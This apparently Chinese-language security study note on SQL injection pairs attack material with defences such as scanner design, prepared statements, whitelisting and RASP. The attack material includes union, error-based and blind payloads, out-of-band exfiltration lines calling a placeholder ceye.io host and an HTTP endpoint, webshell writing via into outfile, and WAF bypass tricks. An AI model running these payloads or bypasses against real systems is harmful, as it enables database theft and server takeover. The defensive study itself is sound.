SQL注入 - 安全宏观101

目录

​ 用户传入的参数使用拼接的方式请求数据库,攻击者通过闭合方式控制数据库查询想要的结果

  1. 数据泄露
  2. RCE
    1. 通过into outfile、dumpfile(用于二进制文件)写webshell(有secure_file_priv限制)
    2. 通过开启general_log日志的方式写webshell(没有secure_file_priv限制)
  3. 读文件
    1. 1 union select 1,2,load data local infile(‘D://test.txt’)–+
    2. 1 union select 1,2,load_file(‘D://test.txt’)–+
  4. 文件写入
    1. select .. into outfile
  5. SSRF
    1. 调用请求url函数
    2. windows系统下可以利用unc发起网络请求,结合responder可以获取到连接者的Net-NTLM hash

判断注入点

  1. 有回显

    1. 联合查询

      1. union select,合并结果 爆出显示位
      2. select sum(username) from user group by id union select username from user
    2. 报错注入

      1. 利用报错信息得到查询的结果
        1. floor(),取整、updatexml()和extractvalue(),xpath语法错误。exp(),GeometryCollection(),polygon(),multipoint(),multilinestring(),linestring(),multipolygon()
        2. select username from user where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
  2. 无回显(盲注)

    1. 布尔

      1. 基于逻辑判断的真和假(比如通过substr、mid函数截取字符串)
      2. select username from user where id=1 and ascii(substr(database(),1,1))=106
    2. 延迟

      1. sleep:睡眠时间

        1. select username from user where id=200 or if(length(database())=11,sleep(1),1)
      2. benchmark:消耗计算资源产生延时效果

      3. 笛卡儿积:消耗计算资源产生延时效果

      4. get_lock:开两个session,并使用get_lock函数加锁,观察延时的时间

    3. dnslog注入(利用dnslog注入来提高盲注的效率,时间盲注和布尔盲注,效率慢,适用于数据量小的时候,数据量大容易跑挂网站)

    4. 原理:DNS查询时会产生DNS日志,我们可以在DNS日志中获取数据。

      1. mysql

        1. 没有secure_file_priv的限制,用于联合注入或堆叠注入
        2. mysql下的dnslog注入,利用的是windows的unc,所以linux系统无法成功,查询的数据中有特殊符号时,可使用 hex() 函数外带
          1. id=1 and load_file(concat('\\\\',hex((select database())),'.xxx.ceye.io\\abc'))--+
      2. oracle

        1. oracle数据库有内置方法可以发送dns请求,不受操作系统的影响。
        2. UTL_HTTP.REQUEST、DBMS_LDAP.INIT、HTTPURITYPE
          1. select x from x where id=1 and utl_http.request('http://192.168.5.28:2019/'||(select banner from sys.v_$version where rownum=1))=1--
      3. mssql、postgreSQL

        1. 仅适用堆叠注入
  3. 特殊的

    1. 堆叠(只有数据库和数据库函数支持执行多条sql语句时才行)

      1. select * from user; insert into user (username,password) value ('test','123')
    2. 二次注入

      1. 注册一个名叫 admin’# 的用户
      2. 执行修改密码:update users set password=’$new_pass’ where username=’$user’ and password=’$old_pass’;
      3. 带入用户名后的SQL是:update users set password=’$new_pass’ where username=’admin'# and password=’$old_pass’;
    3. 内联注入

      1. 内联查询(Inline Queries)SELECT statemnt FROM (SELECT statement);
      2. FROM后面跟着的部分是一个 SELECT查询子句,这个子句产生的结果会保存在 内联视图(Inline View)中。视图和表的结构一样但没有实际存储的数据,它建立在其他的表或者视图上
      3. 内联查询通常用于和其它方法结合使用,如在报错注入中就很常用到内联查询:
      4. id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM
  • 产生漏洞的本质原因是什么

    • 未对用户输入进行充分的验证和过滤,导致恶意用户在输入中嵌入了操纵数据库的恶意代码
  • 研发在什么情况易写出这类问题

    • 【不能预编译】字段名、表名

      • 字段名:Order by(排序)、 GROUP BY(分组计算)、SELECT、 ON、 HAVING(GROUP BY分组结果的条件筛选)
      • 表名: FROM、 JOIN
    • 【不想预编译】取数服务(报表平台),允许SQL片段传入

      • 解决方法:改造,不信任任何参数,抽象好方法,提供给上游调用

      •  1
         2
         3
         4
         5
         6
         7
         8
         9
        10
        11
        12
        
        // 抽象方法
        DTO {
        	private String key;
        	private String value;
        
        	toSql(){
        		checkSQL(key);
        		putMap(1, value);
        	}
        }
        // 上游调用
        { key: 'name', value: 'zhangsan'}
        
    • 【特殊场景】XFF(X-Forwarded-For)是header请求头中的一个参数是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。代表了HTTP的请求端真实的IP。服务器端会对XFF信息进行记录,但没有进行过滤处理,就容易导致sql注入的产生

      •  1
         2
         3
         4
         5
         6
         7
         8
         9
        10
        11
        12
        13
        
        // 浏览器IP,第一个代理服务器,第二个三个四个等等
        X-Forwarded-For: client1, proxy1, proxy2, proxy3
        // 注入
        X-Forwarded-for: 127.0.0.1' and 1=1#
        // 服务器判断真实地址的参数有时不一定是XFF,可能是以下几个参数
        x-forwarded-fot
        x-remote-IP
        x-originating-IP
        x-remote-ip
        x-remote-addr
        x-client-IP
        x-client-ip
        x-Real-ip
        
  • 黑盒扫描器

    • 数据采集模块

      • 被动(与burp联动被动获取流量)
      • 主动(主动爬取数据获取流量)
      • 指定(指定url或数据包)
    • 安全测试模块

      • 现成工具:引入SQLMapApi

      • 手动开发(参考sqlmap)

        • 链接测试:是否能正常访问,页面相似度是否为动态的(每次访问页面的元素变化)

          • 动态:寻找动态内容标记出来,方便后面对比时移除
        • 注入检测:

          • 启发式检测,让web报错回显快速识别dbms

            • 发送 " ' ) ( , . 随机组合(满足单双引号只有一个),看看是否有转型错误报错

            • 布尔盲注:

              • 发送逻辑真,相似
              • 发送逻辑假,不相似
            • 报错注入:

              • 发送flag,正则匹配回显内容验证
            • 时间盲注

              • 计算正常访问时间,加上延时的时间,是否在期望时间范围内
            • 联合查询

              • 猜解列数,利用与模版页面比较的内容相似度寻找最最不同的那一个请求。
  • 白盒扫描器

    • orm框架数据流,如checkmarx检查mybatis注入,无法找到sink

      • 检测xml文件是否是mybatis的定义文件
      • 检测所有的sql节点,并递归(sql节点中可能也有sql节点)将sql节点的内容存到字典中,得到SQL
      • 正则匹配SQL中的${的内容,如果有匹配,记下其节点id
      • 通过FindByMemberAccess(namespace + ‘.’+ id),直接找到方法使用(而不是interface,因为mybatis的解析xml引号莫名其妙转成实体编码),也不考虑参数位置(因为变量名没法对应)
      • 将找到的参数作为sink点,之后走正常的数据流构建即可。
    • Source点到Sink点的执行路径是可达的,而且执行过程中没有经过有效的Sanitize

    • 除了逻辑漏洞外,其他均可归类为sink点可定义的安全漏洞

  • 灰盒扫描器

    • 会在SQL执行函数上面插入桩代码
    • 业务线程Hook到用户请求,Hook到SQL执行函数,放在ThreadLocal变量中
    • 当HTTP请求结束读取ThreadLocal请求信息和Hook信息,发给扫描器
    • 扫描器会修改请求,插入单引号和flag并发送,单引号和flag达了桩代码,说明存在安全问题(没有Sanitize)
  • 监控

    • 监控SQL日志平台,平台SQL日志出现的引号为单数时存在SQL注入
  1. 黑:流量侧怎么管控

    1. waf:存在SQL特征的数据包、存在注入语句如(参考Druid)
      1. 系统级表information_schema.columns
      2. 系统级变量@@version
      3. 系统函数load_file等语句
      4. SQL注释
    2. sig3:使数据包无法篡改
  2. 白:逐渐降级方案:

    1. 预编译: where value 值、limit offset 和 total 值、insert value 值、update value 值

    2. 枚举校验: 排序方式、表名、列名、函数(例如 SUM,COUNT,MAX 等)

    3. 白名单校验: 表名、列名

      1. 表名、单列名: ^[a-zA-Z0-9-_.*]+$ 大小写字母、数字、减号、下划线、点、星号
      2. 多列名:上述加逗号
    4. 特殊字符转义:' " , ; ( ) | # / \ & = + < > ! \0

    5. 转义 \0 再在首尾添加单引号 ,确保拼接进的是字符串

  3. 灰:rasp

    1. 通过 raw sql 获取这些 gap 的长度,gap长度将用于协助判断parsed sql结构是否发生变化
    2. 如果 raw sql 与 parsed sql 的 gap 数量或内容不一致,则认为SQL发生变化。
  • 从架构层面: 找到服务器真实IP,同网段绕过、http和https同时开放服务绕过、边缘资产漏洞利用绕过。

  • 从协议层面:

    • 分块传输

      • Transfer-Encoding为chunked,表示将用chunked编码传输内容,将数据包分成多个块
    • 延时分块传输

      • 目前很多WAF都已经支持WAF分块传输检测

        • WAF一般通过以下步骤检测分块传输内容:
          • 发现数据包是分块传输,启动分块传输线程进行接收
          • 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
          • 将所有分块合并,并检测合并之后的内容
      • chunked-coding-converter 插件实现了在上一块传输完成后,sleep一段时间,再发送下一块。 目的是延长WAF分块传输线程的等待时间,从而消耗WAF性能。

      • 注意:块与块之间发送的间隔时间必须要小于后端中间件的post timeout,Tomcat默认是20s,weblogic是30s。

    • 利用pipline绕过

      • 当发送内容超过一个 http 包容量时,需要分多次发送,Connection值会变成 keep-alive(即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止)
      • 用 burpsuite 抓包提交,复制整个包信息放在第一个包最后,把第一个包 close 改成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。
      • 有的waf不检测第一个包,只检测第二个包。
    • 利用协议未覆盖绕过

      • 在 http 头里的 Content-Type 提交表单支持四种协议:

        • application/x-www-form-urlencoded -编码模式、multipart/form-data -文件上传模式、text/plain -文本模式、application/json -json模式
        • 文件头的属性是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
    • POST及GET提交绕过。

  • 从规则层面:

    • 编码绕过

    • char、hex

    • 等价符号替换绕过

    • 普通注释和内敛注释

    • mysql黑魔法

      • select{x user}from{x mysql.user}
    • 参数污染等。

    • 宽字节注入

      • ?id=1%df’ and 1=1–+ 单引号会被转义 ?id=1%df' and 1=1–+(\的十六进制为%5c)
      • %df%5c’ 认成 縗’(mysql使用GBK时。GBK编码特性:两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字)
  • 资源限制角度绕过WAF

    • 超大数据包绕过

      • 这是众所周知、而又难以解决的问题。如果HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面的几K字节、1M、或2M。对于攻击者而然,只需要在POST BODY前面添加许多无用数据,把攻击payload放在最后即可绕过WAF检测。
      • 并发绕过
  • 体系化治理方案是啥

    • 编码:ide插件
    • Merge:新增代码监控
    • 构建:白盒扫描
    • 测试:iast、人工评估
    • 生产:waf、SQL日志监控binlog
  1. 预编译原理

    1. 预编译将一次查询通过两次交互完成

      1. 第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode
      2. 第二次交互发送数据,代入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生。
  2. DBMS识别

    1. 字符串连接符

      1. mysql:page.php?id=’ ‘mysql’ —
      2. Oracle:page.jsp?id=’||’oracle’ —
    2. 版本查询

      1. mysql:product.php?id=’ UNION SELECT @@version —
      2. Oracle:page.jsp?id=’UNION SELECT 1 FROM v$version —
      3. sql server:page.asp?id=sql’; SELECT @@SERVERNAME —
    3. 报错

    4. 待补充…

来发评论吧~
Powered By Valine
v1.5.0